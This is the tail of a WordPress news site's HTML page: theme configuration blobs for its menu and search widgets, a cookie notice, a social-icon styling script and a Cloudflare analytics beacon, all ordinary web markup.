Wl0IjoiMTIifQ==","f_mm_sub_font_weight":"800","meta_bg":"#ffffff","mm_sub_width":"eyJhbGwiOiIxODAiLCJwb3J0cmFpdCI6IjExMCIsImxhbmRzY2FwZSI6IjE0MCJ9","mm_padd":"eyJhbGwiOiI0MHB4IiwicG9ydHJhaXQiOiIyMHB4IDE1cHgiLCJsYW5kc2NhcGUiOiIyNXB4IDIwcHgifQ==","mm_sub_padd":"eyJhbGwiOiIzMHB4IDAiLCJwb3J0cmFpdCI6IjEwcHggMCIsImxhbmRzY2FwZSI6IjI1cHggMCJ9","mm_elem_padd":"eyJhbGwiOiI1cHggMCA1cHggNDBweCIsInBvcnRyYWl0IjoiNXB4IDAgMCAxNXB4IiwibGFuZHNjYXBlIjoiNXB4IDAgNXB4IDMwcHgifQ==","modules_gap":"eyJhbGwiOiIxNiIsImxhbmRzY2FwZSI6IjEyIiwicG9ydHJhaXQiOiIxMCJ9","all_modules_space":"50","f_title_font_family":"394","f_title_font_line_height":"1.3","f_title_font_size":"eyJhbGwiOiIyMSIsInBvcnRyYWl0IjoiMTIiLCJwaG9uZSI6IjE4IiwibGFuZHNjYXBlIjoiMTYifQ==","f_title_font_weight":"800","f_title_font_transform":"","f_cat_font_transform":"uppercase","f_cat_font_size":"eyJhbGwiOiIxNCIsImxhbmRzY2FwZSI6IjEyIiwicG9ydHJhaXQiOiIxMCJ9","f_cat_font_weight":"700","f_cat_font_family":"394","title_txt":"#172842","title_txt_hover":"#e2687e","all_underline_color":"","cat_bg":"rgba(255,255,255,0)","cat_bg_hover":"rgba(255,255,255,0)","cat_txt":"#90a0af","cat_txt_hover":"#e2687e","mm_elem_border":"0","meta_info_border_color":"","tds_menu_active1-line_height":"eyJsYW5kc2NhcGUiOiI2IiwiYWxsIjoiMCJ9","inline":"yes","f_elem_font_transform":"none","elem_padd":"eyJhbGwiOiIwIDVweCIsInBvcnRyYWl0IjoiMCAycHgifQ==","tds_menu_active1-line_alignment":"50","tds_menu_active1-text_color_h":"#e2687e","tdc_css":"eyJhbGwiOnsiZGlzcGxheSI6IiJ9fQ==","show_mega_cats":"yes","mm_shadow_shadow_size":"eyJhbGwiOiIyMCIsImxhbmRzY2FwZSI6IjMwIn0=","mm_shadow_shadow_offset_vertical":"eyJhbGwiOiI4IiwibGFuZHNjYXBlIjoiMTUifQ==","mm_shadow_shadow_color":"rgba(22,35,58,0.1)","mm_elem_color":"#172842","mm_elem_color_a":"#e2687e","shadow_shadow_size":"eyJhbGwiOiIxNiIsImxhbmRzY2FwZSI6IjIwIn0=","mm_border_size":"0","pag_bg":"#49c8d1","pag_h_bg":"#e2687e","pag_border":"rgba(255,255,255,0)","pag_h_border":"rgba(255,255,255,0)","pag_icons_size":"15","pag_border_width":"0","sub_shadow_shadow_size":"eyJsYW5kc2NhcGUiOiIxNSIsImFsbCI6IjE2In0=","sub_shadow_shadow_offset_horizontal":"eyJsYW5kc2NhcGUiOiIwIiwiYWxsIjoiMCJ9","sub_shadow_shadow_offset_vertical":"eyJsYW5kc2NhcGUiOiIxMCIsImFsbCI6IjQifQ==","sub_shadow_shadow_color":"rgba(22,35,58,0.1)","shadow_shadow_offset_vertical":"eyJhbGwiOiI0IiwibGFuZHNjYXBlIjoiMTAifQ==","shadow_shadow_color":"rgba(22,35,58,0.1)","pag_space":"20","sub_text_color":"#172842","tds_menu_active1-line_width":"0","hover_opacity":"0","mm_elem_order":"","show_subcat":"yes","main_sub_tdicon":"td-icon-menu-thin-left","sub_align_horiz":"content-horiz-left","sub_padd":"eyJhbGwiOiIyMHB4IDAiLCJwb3J0cmFpdCI6IjEwcHggMCJ9","sub_first_left":"eyJhbGwiOiItMjUiLCJsYW5kc2NhcGUiOiItMjAiLCJwb3J0cmFpdCI6Ii0xNSJ9","sub_icon_size":"10","sub_icon_pos":"","main_sub_icon_size":"eyJhbGwiOiIyMiIsInBvcnRyYWl0IjoiMTcifQ==","sub_icon_align":"0","image_floated":"","tds_menu_sub_active1-sub_text_color_h":"#e2687e","tds_menu_sub_active1-sub_color_h":"#e2687e","sub_color":"#172842","show_audio":"none","f_meta_font_family":"394","f_ex_font_family":"638","f_ex_font_size":"eyJhbGwiOiIxMyIsInBvcnRyYWl0IjoiMTEifQ==","f_ex_font_line_height":"1.6","excerpt_middle":"yes","author_txt":"#90a0af","author_txt_hover":"#e2687e","date_txt":"#90a0af","f_meta_font_transform":"uppercase","f_meta_font_weight":"700","f_meta_font_size":"eyJhbGwiOiIxMiIsInBvcnRyYWl0IjoiMTAifQ==","ex_txt":"#90a0af","author_photo_size":"26","art_excerpt":"eyJhbGwiOiIyMHB4IDAgMTVweCAwIiwibGFuZHNjYXBlIjoiMTBweCAwIiwicG9ydHJhaXQiOiIxMHB4IDAifQ==","main_sub_icon_align":"1","f_elem_font_line_height":"eyJhbGwiOiI1NnB4IiwicG9ydHJhaXQiOiI0NXB4In0=","prev_tdicon":"td-icon-left","next_tdicon":"td-icon-right","pag_padding":"2px 0 1px","pag_text":"#ffffff","pag_h_text":"#ffffff","mm_posts_limit":"","sub_elem_padd":"eyJsYW5kc2NhcGUiOiI1cHggMjVweCIsInBvcnRyYWl0IjoiNXB4IDIwcHgifQ==","mc1_el":"17","block_type":"tdb_header_menu","show_mega":"","mob_load":"","separator":"","width":"","more":"","float_right":"","sep_tdicon":"","sep_icon_size":"","sep_icon_space":"","more_txt":"","more_tdicon":"","more_icon_size":"","more_icon_align":"0","sub_width":"","sub_rest_top":"","sub_elem_inline":"","sub_elem_space":"","sub_elem_radius":"0","sub_tdicon":"","sub_icon_space":"","mm_content_width":"","mm_height":"","mm_radius":"","mm_offset":"","mm_subcats_posts_limit":"4","open_in_new_window":"","mm_ajax_preloading":"","mm_sub_inline":"","mm_elem_space":"","mm_elem_border_rad":"","mc1_tl":"","mc1_title_tag":"","m_padding":"","modules_border_size":"","modules_border_style":"","modules_border_color":"#eaeaea","modules_divi
1327der":"","modules_divider_color":"#eaeaea","image_alignment":"50","image_width":"","image_radius":"","hide_image":"","video_icon":"","show_vid_t":"block","vid_t_margin":"","vid_t_padding":"","vid_t_color":"","vid_t_bg_color":"","f_vid_time_font_header":"","f_vid_time_font_title":"Video duration text","f_vid_time_font_settings":"","f_vid_time_font_family":"","f_vid_time_font_size":"","f_vid_time_font_line_height":"","f_vid_time_font_style":"","f_vid_time_font_weight":"","f_vid_time_font_transform":"","f_vid_time_font_spacing":"","f_vid_time_":"","hide_audio":"","art_audio":"","art_audio_size":"1","meta_info_align":"","meta_info_horiz":"content-horiz-left","meta_width":"","meta_margin":"","meta_info_border_size":"","meta_info_border_style":"","modules_cat_border":"","modules_category_radius":"0","show_cat":"inline-block","modules_extra_cat":"","author_photo":"","author_photo_space":"","author_photo_radius":"","show_modified_date":"","time_ago":"","time_ago_add_txt":"ago","time_ago_txt_pos":"","excerpt_col":"1","excerpt_gap":"","review_space":"","review_size":"2.5","review_distance":"","show_pagination":"","pag_border_radius":"","main_sub_color":"","sep_color":"","more_icon_color":"","tds_menu_active":"tds_menu_active1","f_elem_font_header":"","f_elem_font_title":"Elements text","f_elem_font_settings":"","f_elem_font_style":"","f_elem_font_spacing":"","f_elem_":"","sub_border_size":"","sub_border_color":"","sub_border_radius":"","sub_elem_bg_color":"","sub_shadow_shadow_header":"","sub_shadow_shadow_title":"Shadow","sub_shadow_shadow_spread":"","tds_menu_sub_active":"tds_menu_sub_active1","f_sub_elem_font_header":"","f_sub_elem_font_title":"Elements text","f_sub_elem_font_settings":"","f_sub_elem_font_line_height":"","f_sub_elem_font_style":"","f_sub_elem_font_spacing":"","f_sub_elem_":"","mm_bg":"","mm_content_bg":"","mm_border_color":"","mm_shadow_shadow_header":"","mm_shadow_shadow_title":"Shadow","mm_shadow_shadow_offset_horizontal":"","mm_shadow_shadow_spread":"","mm_subcats_border_color":"","mm_elem_border_color":"","mm_elem_border_color_a":"","mm_elem_shadow_shadow_header":"","mm_elem_shadow_shadow_title":"Elements shadow","mm_elem_shadow_shadow_size":"","mm_elem_shadow_shadow_offset_horizontal":"","mm_elem_shadow_shadow_offset_vertical":"","mm_elem_shadow_shadow_spread":"","mm_elem_shadow_shadow_color":"","f_mm_sub_font_header":"","f_mm_sub_font_title":"Sub categories elements","f_mm_sub_font_settings":"","f_mm_sub_font_line_height":"","f_mm_sub_font_style":"","f_mm_sub_font_spacing":"","f_mm_sub_":"","m_bg":"","color_overlay":"","shadow_shadow_header":"","shadow_shadow_title":"Module Shadow","shadow_shadow_offset_horizontal":"","shadow_shadow_spread":"","all_underline_height":"","cat_border":"","cat_border_hover":"","com_bg":"","com_txt":"","rev_txt":"","shadow_m_shadow_header":"","shadow_m_shadow_title":"Meta info shadow","shadow_m_shadow_size":"","shadow_m_shadow_offset_horizontal":"","shadow_m_shadow_offset_vertical":"","shadow_m_shadow_spread":"","shadow_m_shadow_color":"","audio_btn_color":"","audio_time_color":"","audio_bar_color":"","audio_bar_curr_color":"","f_title_font_header":"","f_title_font_title":"Article title","f_title_font_settings":"","f_title_font_style":"","f_title_font_spacing":"","f_title_":"","f_cat_font_title":"Article category tag","f_cat_font_settings":"","f_cat_font_line_height":"","f_cat_font_style":"","f_cat_font_spacing":"","f_cat_":"","f_meta_font_title":"Article meta info","f_meta_font_settings":"","f_meta_font_line_height":"","f_meta_font_style":"","f_meta_font_spacing":"","f_meta_":"","f_ex_font_title":"Article excerpt","f_ex_font_settings":"","f_ex_font_style":"","f_ex_font_weight":"","f_ex_font_transform":"","f_ex_font_spacing":"","f_ex_":"","mix_color":"","mix_type":"","fe_brightness":"1","fe_contrast":"1","fe_saturate":"1","mix_color_h":"","mix_type_h":"","fe_brightness_h":"1","fe_contrast_h":"1","fe_saturate_h":"1","el_class":"","block_template_id":"","td_column_number":1,"header_color":"","ajax_pagination_infinite_stop":"","offset":"","limit":"5","td_ajax_preloading":"","td_ajax_filter_type":"","td_filter_default_txt":"","td_ajax_filter_ids":"","color_preset":"","ajax_pagination":"","ajax_pagination_next_prev_swipe":"","border_top":"","css":"","class":"tdi_27","tdc_css_class":"tdi_27","tdc_css_class_
1327style":"tdi_27_rand_style","context":""}';
1328
1329                    
1330                        tdbMenuItem.isMegaMenuFull = true;
1331
1332                        
1333                        
1334                        tdbMenuItem.megaMenuLoadType = '';
1335
1336                        
1337                        tdbMenu.addItem(tdbMenuItem);
1338
1339                    });
1340                
1341                
1342
1343        
1344            jQuery().ready(function () {
1345
1346                var tdbSearchItem = new tdbSearch.item();
1347
1348                //block unique ID
1349                tdbSearchItem.blockUid = 'tdi_30';
1350                tdbSearchItem.blockAtts = '{"inline":"yes","form_align":"content-horiz-right","results_msg_align":"content-horiz-center","image_floated":"","image_width":"100","image_size":"","show_cat":"","show_btn":"none","show_date":"none","show_review":"none","show_com":"none","show_excerpt":"","show_author":"","all_modules_space":"0","icon_padding":"eyJhbGwiOjEuMSwicG9ydHJhaXQiOiIxIn0=","icon_color":"#172842","title_txt_hover":"#e2687e","btn_bg_h":"eyJ0eXBlIjoiZ3JhZGllbnQiLCJjb2xvcjEiOiIjMTcyODQyIiwiY29sb3IyIjoiIzE3Mjg0MiIsIm1peGVkQ29sb3JzIjpbXSwiZGVncmVlIjoiLTkwIiwiY3NzIjoiYmFja2dyb3VuZC1jb2xvcjogIzE3Mjg0MjsiLCJjc3NQYXJhbXMiOiIwZGVnLCMxNzI4NDIsIzE3Mjg0MiJ9","tdc_css":"eyJhbGwiOnsibWFyZ2luLWxlZnQiOiIyNCIsImJvcmRlci1jb2xvciI6InJnYmEoMCwwLDAsMC4xMikiLCJkaXNwbGF5IjoiIn0sInBvcnRyYWl0Ijp7Im1hcmdpbi1sZWZ0IjoiMTUiLCJkaXNwbGF5IjoiIn0sInBvcnRyYWl0X21heF93aWR0aCI6MTAxOCwicG9ydHJhaXRfbWluX3dpZHRoIjo3NjgsImxhbmRzY2FwZSI6eyJwYWRkaW5nLXRvcCI6IjMiLCJkaXNwbGF5IjoiIn0sImxhbmRzY2FwZV9tYXhfd2lkdGgiOjExNDAsImxhbmRzY2FwZV9taW5fd2lkdGgiOjEwMTl9","tdicon":"td-icon-magnifier-medium-short","show_form":"yes","form_offset":"eyJhbGwiOiIxOCIsInBvcnRyYWl0IjoiMTQifQ==","input_shadow_shadow_color":"rgba(0,0,0,0.15)","f_input_font_family":"394","f_placeholder_font_family":"394","f_btn_font_family":"","f_btn_font_transform":"uppercase","form_width":"eyJhbGwiOiI5MDAiLCJsYW5kc2NhcGUiOiI2NDAiLCJwb3J0cmFpdCI6IjUyMCJ9","input_border":"1px 0 1px 1px ","f_placeholder_font_transform":"","placeholder_opacity":"0.4","btn_icon_pos":"","results_border":"0","results_msg_padding":"10px 25px 20px","mc1_tl":"20","results_limit":"3","modules_gap":"eyJhbGwiOiIxMiIsInBvcnRyYWl0IjoiMTAiLCJsYW5kc2NhcGUiOiIxMCJ9","image_height":"60","modules_category":"above","modules_category_padding":"0","f_results_msg_font_family":"394","f_results_msg_font_transform":"uppercase","f_results_msg_font_style":"normal","results_msg_color":"#172842","results_msg_color_h":"#e2687e","f_title_font_family":"394","f_title_font_size":"eyJhbGwiOiIxNiIsInBvcnRyYWl0IjoiMTIiLCJsYW5kc2NhcGUiOiIxNCJ9","f_title_font_weight":"800","f_title_font_line_height":"1.3","all_underline_color":"","f_cat_font_weight":"700","f_cat_font_transform":"uppercase","cat_bg":"rgba(255,255,255,0)","cat_bg_hover":"rgba(255,255,255,0)","f_input_font_size":"eyJhbGwiOiIxNCIsInBvcnRyYWl0IjoiMTIifQ==","f_input_font_transform":"","f_placeholder_font_size":"eyJhbGwiOiIxNCIsInBvcnRyYWl0IjoiMTIifQ==","f_results_msg_font_size":"eyJhbGwiOiIxNCIsInBvcnRyYWl0IjoiMTIifQ==","form_shadow_shadow_size":"20","form_shadow_shadow_color":"rgba(22,35,58,0.1)","form_border":"0","cat_txt":"#90a0af","cat_txt_hover":"#e2687e","icon_size":"eyJhbGwiOiIyMCIsInBvcnRyYWl0IjoiMTYifQ==","icon_color_h":"#e2687e","modules_on_row":"33.33333333%","meta_padding":"eyJhbGwiOiIyNXB4IDIwcHgiLCJsYW5kc2NhcGUiOiIyMHB4IDE1cHgiLCJwb3J0cmFpdCI6IjE1cHggMTBweCJ9","art_title":"eyJhbGwiOiIxNXB4IDAgMCIsImxhbmRzY2FwZSI6IjEwcHggMCAwIDAiLCJwb3J0cmFpdCI6IjEwcHggMCAwIn0=","art_excerpt":"eyJhbGwiOiIxNXB4IDAiLCJsYW5kc2NhcGUiOiIxMHB4IDAiLCJwb3J0cmFpdCI6IjEwcHggMCJ9","f_btn_font_weight":"","arrow_color":"#ffffff","form_shadow_shadow_offset_vertical":"8","input_color":"#172842","placeholder_color":"#bcccd6","f_cat_font_family":"394","f_cat_font_size":"eyJhbGwiOiIxMiIsInBvcnRyYWl0IjoiMTAifQ==","image_alignment":"30","title_txt":"#172842","form_padding":"eyJhbGwiOiIyNXB4IiwicG9ydHJhaXQiOiIxNSJ9","results_padding":"eyJhbGwiOiIwIDI1cHggMTVweCIsInBvcnRyYWl0IjoiMCAxNXB4IDE1cHgifQ==","input_border_color":"rgba(211,219,226,0.7)","input_padding":"eyJhbGwiOiI2cHggMTBweCIsInBvcnRyYWl0IjoiMnB4IDhweCJ9","btn_padding":"5px 18px 6px","toggle_txt_space":"6","f_toggle_txt_font_family":"394","f_toggle_txt_font_weight":"800","f_toggle_txt_font_size":"eyJhbGwiOiIxNiIsInBvcnRyYWl0IjoiMTQifQ==","toggle_txt_color":"#172842","toggle_txt_color_h":"#e2687e","author_photo_size":"26","excerpt_middle":"yes","f_input_font_weight":"700","f_placeholder_font_weight":"700","btn_text":"Go","f_results_msg_font_weight":"700","shadow_meta_shadow_size":"16","shadow_meta_shadow_offset_vertical":"4","shadow_meta_shadow_color":"rgba(22,35,58,0.1)","f_meta_font_family":"394","f_meta_font_transform":"uppercase","f_meta_font_size":"eyJhbGwiOiIxMiIsInBvcnRyYWl0IjoiMTAifQ==","f_ex_font_family":"638","f_ex_font_size":"eyJhbGwiOiIxMyIsInBvcnRyYWl0IjoiMTEifQ==","f_ex_font_line_height":"1.6","mc1_el":"15","f_meta_font_weight":"700","author_txt":"#90a0af","author_txt_hover":"#e2687e","date_txt":"#90a0af","ex_txt":"#90a0af","btn_bg":"eyJ0eXBlIjoiZ3JhZGllbnQiLCJjb2xvcjEiOiIjZTI2ODdlIiwiY29sb3IyIjoiI2UyNjg3ZSIsIm1peGVkQ29sb3JzIjpbXSwiZGVncmVlIjoiLTkwIiwiY3NzIjoiYmFja2dyb3VuZC1jb2xvcjogI2UyNjg3ZTsiLCJjc3NQYXJhbXMiOiIwZGVnLCNlMjY4N2UsI2UyNjg3ZSJ9","toggle_horiz_align":"content-horiz-left","block_type":"tdb_header_search","post_type":"","disable_trigger":"","show_results":"yes","separator":"","disable_live_search":"","exclude_pages":"","exclude_posts":"","search_section_header":"","results_section_1_title":"","results_section_1_taxonomies":"","results_section_1_level":"","results_section_2_title":"","results_section_2_taxonomies":"","results_section_2_level":"","results_section_3_title":"","results_section_3_taxonomies":"","results_section_3_level":"","results_section_search_query_terms":"","results_section_search_query_terms_title":"","results_section_search_query_terms_taxonomies":"","sec_title_space":"","sec_title_color":"","tax_space":"","tax_title_color":"","tax_title_color_h":"","f_sec_title_font_header":"","f_sec_title_font_title":"Section title text","f_sec_title_font_settings":"","f_sec_title_font_family":"","f_sec_title_font_size":"","f_sec_title_font_line_height":"","f_sec_title_font_style":"","f_sec_title_font_weight":"","f_sec_title_font_transform":"","f_sec_title_font_spacing":"","f_sec_title_":"","f_tax_title_font_title":"Taxonomy title text","f_tax_title_font_settings":"","f_tax_title_font_family":"","f_tax_title_font_size":"","f_tax_title_font_line_height":"","f_tax_title_font_style":"","f_tax_title_font_weight":"","f_tax_title_font_transform":"","f_tax_title_font_spacing":"","f_tax_title_":"","toggle_txt":"","toggle_txt_pos":"","toggle_txt_al
1350ign":"0","float_block":"","form_offset_left":"","form_content_width":"","form_align_screen":"","input_placeholder":"","placeholder_travel":"0","input_radius":"","btn_tdicon":"","btn_icon_size":"","btn_icon_space":"","btn_icon_align":"0","btn_margin":"","btn_border":"","btn_radius":"","results_msg_border":"","mc1_title_tag":"","open_in_new_window":"","m_padding":"","modules_border_size":"","modules_border_style":"","modules_border_color":"#eaeaea","modules_divider":"","modules_divider_color":"#eaeaea","h_effect":"","image_radius":"","hide_image":"","video_icon":"","show_vid_t":"block","vid_t_margin":"","vid_t_padding":"","vid_t_color":"","vid_t_bg_color":"","f_vid_time_font_header":"","f_vid_time_font_title":"Video duration text","f_vid_time_font_settings":"","f_vid_time_font_family":"","f_vid_time_font_size":"","f_vid_time_font_line_height":"","f_vid_time_font_style":"","f_vid_time_font_weight":"","f_vid_time_font_transform":"","f_vid_time_font_spacing":"","f_vid_time_":"","meta_info_align":"","meta_info_horiz":"content-horiz-left","meta_width":"","meta_margin":"","meta_info_border_size":"","meta_info_border_style":"","meta_info_border_color":"#eaeaea","art_btn":"","modules_category_margin":"","modules_cat_border":"","modules_category_radius":"0","modules_extra_cat":"","author_photo":"","author_photo_space":"","author_photo_radius":"","show_modified_date":"","time_ago":"","time_ago_add_txt":"ago","time_ago_txt_pos":"","review_space":"","review_size":"2.5","review_distance":"","excerpt_col":"1","excerpt_gap":"","btn_title":"","btn_border_width":"","form_general_bg":"","f_toggle_txt_font_header":"","f_toggle_txt_font_title":"Text","f_toggle_txt_font_settings":"","f_toggle_txt_font_line_height":"","f_toggle_txt_font_style":"","f_toggle_txt_font_transform":"","f_toggle_txt_font_spacing":"","f_toggle_txt_":"","form_bg":"","form_border_color":"","form_shadow_shadow_header":"","form_shadow_shadow_title":"Shadow","form_shadow_shadow_offset_horizontal":"","form_shadow_shadow_spread":"","input_bg":"","input_shadow_shadow_header":"","input_shadow_shadow_title":"Input shadow","input_shadow_shadow_size":"","input_shadow_shadow_offset_horizontal":"","input_shadow_shadow_offset_vertical":"","input_shadow_shadow_spread":"","btn_color":"","btn_color_h":"","btn_icon_color":"","btn_icon_color_h":"","btn_border_color":"","btn_border_color_h":"","btn_shadow_shadow_header":"","btn_shadow_shadow_title":"Button shadow","btn_shadow_shadow_size":"","btn_shadow_shadow_offset_horizontal":"","btn_shadow_shadow_offset_vertical":"","btn_shadow_shadow_spread":"","btn_shadow_shadow_color":"","f_input_font_header":"","f_input_font_title":"Input text","f_input_font_settings":"","f_input_font_line_height":"","f_input_font_style":"","f_input_font_spacing":"","f_input_":"","f_placeholder_font_title":"Placeholder text","f_placeholder_font_settings":"","f_placeholder_font_line_height":"","f_placeholder_font_style":"","f_placeholder_font_spacing":"","f_placeholder_":"","f_btn_font_title":"Button text","f_btn_font_settings":"","f_btn_font_size":"","f_btn_font_line_height":"","f_btn_font_style":"","f_btn_font_spacing":"","f_btn_":"","results_bg":"","results_border_color":"","results_msg_bg":"","results_msg_border_color":"","f_results_msg_font_header":"","f_results_msg_font_title":"Text","f_results_msg_font_settings":"","f_results_msg_font_line_height":"","f_results_msg_font_spacing":"","f_results_msg_":"","m_bg":"","color_overlay":"","shadow_module_shadow_header":"","shadow_module_shadow_title":"Module Shadow","shadow_module_shadow_size":"","shadow_module_shadow_offset_horizontal":"","shadow_module_shadow_offset_vertical":"","shadow_module_shadow_spread":"","shadow_module_shadow_color":"","all_underline_height":"","cat_border":"","cat_border_hover":"","meta_bg":"","com_bg":"","com_txt":"","rev_txt":"","shadow_meta_shadow_header":"","shadow_meta_shadow_title":"Meta info shadow","shadow_meta_shadow_offset_horizontal":"","shadow_meta_shadow_spread":"","btn_bg_hover":"","btn_txt":"","btn_txt_hover":"","btn_border_hover":"","f_title_font_header":"","f_title_font_title":"Article title","f_title_font_settings":"","f_title_font_style":"","f_title_font_transform":"","f_title_font_spacing":"","f_title_":"","f_cat_font_title":"Article category tag","f_cat_font_settings":"","f_cat_font_line_height":"","f_cat_font_style":"","f_cat_font_spacing":"","f_cat_":"","f_meta_font_title":"Article meta info","f_meta_font_settings":"","f_meta_font_line_height":"","f_meta_font_style":"","f_meta_font_spacing":"","f_meta_":"","f_ex_font_title":"Article excerpt","f_ex_font_settings":"","f_ex_font_style":"","f_ex_font_weight":"","f_ex_font_transform":"","f_ex_font_spacing":"","f_ex_":"","el_class":"","block_template_id":"","td_column_number":1,"header_color":"","ajax_pagination_infinite_stop":"","offset":"","limit":"5","td_ajax_preloading":"","td_ajax_filter_type":"","td_filter_default_txt":"","td_ajax_filter_ids":"","color_preset":"","ajax_pagination":"","ajax_pagination_next_prev_swipe":"","border_top":"","css":"","class":"tdi_30","tdc_css_class":"tdi_30","tdc_css_class_
1350style":"tdi_30_rand_style"}';
1351                tdbSearchItem.jqueryObj = jQuery('.tdi_30');
1352                tdbSearchItem._openSearchFormClass = 'tdb-drop-down-search-open';
1353                tdbSearchItem._resultsLimit = '3';
1354
1355                
1356	            
1357                
1358                tdbSearch.addItem( tdbSearchItem );
1359
1360            });
1361        
1362        
1363
1364                    jQuery().ready(function jQuery_ready() {
1365                        tdAjaxCount.tdGetViewsCountsAjax("post","[3775]");
1366                    });
1367                
1368</script>
1368
1369
1370
1371<script>var td_res_context_registered_atts=["style_general_mobile_menu","style_general_header_align","style_general_header_logo","style_general_mobile_search","style_general_header_menu","style_general_module_header","style_general_header_search","style_general_header_search_trigger_enabled","style_general_button","style_general_single_categories","style_general_single_title","style_general_title_single","style_bg_space","style_general_bg_featured_image","style_general_post_meta","style_general_single_author","style_general_icon","style_general_single_date","style_general_post_views","style_general_comments_count","style_general_single_content","style_general_single_tags","style_general_author_box","style_general_column_title","style_general_related_post","style_general_list_menu","style_specific_list_menu_vertical","style_specific_list_menu_accordion","style_specific_list_menu_horizontal"];</script>
1371
1372
1373		<!-- Cookie Notice plugin v2.4.11 by Hu-manity.co https://hu-manity.co/ -->
1374		<div id="cookie-notice" role="dialog" class="cookie-notice-hidden cookie-revoke-hidden cn-position-bottom" aria-label="Cookie Notice" style="background-color: rgba(50,50,58,0.8);"><div class="cookie-notice-container" style="color: #fff"><span id="cn-notice-text" class="cn-text-container">We use cookies to ensure that we give you the best experience on our website. If you continue to use this site we will assume that you are happy with it.</span><span id="cn-notice-buttons" class="cn-buttons-container"><a href="#" id="cn-accept-cookie" data-cookie-set="accept" class="cn-set-cookie cn-button" aria-label="Ok" style="background-color: #00a99d">Ok</a></span><span id="cn-close-notice" data-cookie-set="accept" class="cn-close-icon" title="No"></span></div>
1375			
1376		</div>
1377		<!-- / Cookie Notice plugin --><style id="padrino-mo-social-icon">.td-icon-mistoonline:before,.td-icon-font.td-icon-mistoonline:before,.tdb-social-item i.td-icon-mistoonline:before,.td-social-icon-wrap i.td-icon-mistoonline:before,.td-author-social i.td-icon-mistoonline:before,.tdm-social-item i.td-icon-mistoonline:before{content:"mo"!important;text-transform:lowercase!important;font-style:normal!important;font-size:inherit!important;line-height:inherit!important;font-weight:var(--padrino-mo-sync-weight,inherit)!important;font-family:var(--padrino-mo-sync-family,inherit)!important;letter-spacing:var(--padrino-mo-sync-spacing,inherit)!important;}.td-social-icon-wrap a[title*="MistoOnline"] .td-icon-mistoonline:before,.tdb-social-item a[title*="MistoOnline"] .td-icon-mistoonline:before{color:inherit!important;}</style>
1378        
1378<script id="padrino-mo-social-icon-sync">
1379        (function () {
1380            var prefer = ['linkedin', 'facebook', 'twitter', 'instagram', 'telegram', 'youtube', 'vk'];
1381
1382            function pickRefIcon(mo) {
1383                var anchors = [
1384                    mo.closest('.td-social-icon-wrap'),
1385                    mo.closest('.tdb-social-item'),
1386                    mo.closest('.td-author-social'),
1387                    mo.closest('.tdm-social-item'),
1388                    mo.closest('.tdm-social-item-wrap'),
1389                ].filter(Boolean);
1390
1391                for (var a = 0; a < anchors.length; a++) {
1392                    var scope = anchors[a].parentElement || anchors[a];
1393                    if (!scope) {
1394                        continue;
1395                    }
1396                    for (var p = 0; p < prefer.length; p++) {
1397                        var ref = scope.querySelector('i.td-icon-' + prefer[p]);
1398                        if (ref && ref !== mo) {
1399                            return ref;
1400                        }
1401                    }
1402                    var any = scope.querySelector('i.td-icon-font:not(.td-icon-mistoonline)');
1403                    if (any && any !== mo) {
1404                        return any;
1405                    }
1406                }
1407
1408                return null;
1409            }
1410
1411            function syncMoIcon(mo) {
1412                var ref = pickRefIcon(mo);
1413                if (!ref) {
1414                    return;
1415                }
1416
1417                var icon = window.getComputedStyle(ref);
1418                var before = window.getComputedStyle(ref, '::before');
1419
1420                mo.style.fontSize = icon.fontSize;
1421                mo.style.lineHeight = icon.lineHeight;
1422                mo.style.width = icon.width;
1423                mo.style.height = icon.height;
1424                mo.style.setProperty('--padrino-mo-sync-weight', before.fontWeight || icon.fontWeight);
1425                mo.style.setProperty('--padrino-mo-sync-family', before.fontFamily || icon.fontFamily);
1426                mo.style.setProperty('--padrino-mo-sync-spacing', before.letterSpacing || icon.letterSpacing);
1427            }
1428
1429            function run() {
1430                document.querySelectorAll('i.td-icon-mistoonline').forEach(syncMoIcon);
1431            }
1432
1433            if (document.readyState === 'loading') {
1434                document.addEventListener('DOMContentLoaded', run);
1435            } else {
1436                run();
1437            }
1438        })();
1439        </script>
1439
1440        
1441		<a href='/uk/kyiv' style='text-decoration: none;'><span style='color: #ffffff'>.</span></a><a href='/uk/lviv' style='text-decoration: none;'><span style='color: #ffffff'>.</span></a><a href='/uk/odesa' style='text-decoration: none;'><span style='color: #ffffff'>.</span></a>
1442 
1443<script type="module" src="https://static.cloudflareinsights.com/beacon.min.js/v31edd6df95cf4e85bb4c19e7a9bdbcba1788362987495" integrity="sha512-iIg7k2xntmwu6/uSb5tpc/hySgZc4eoL31yB29W6tJFo2akwjPWcEqnCEdJvGexCL0KEQwVYv5BlowfhVz26hg==" data-cf-beacon='{"version":"2024.11.0","token":"32b85b33fd024a0d8596bd5d527cfadc","r":1,"spa":2}' crossorigin="anonymous"></script>
1443
1444</body>
1445</html>

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.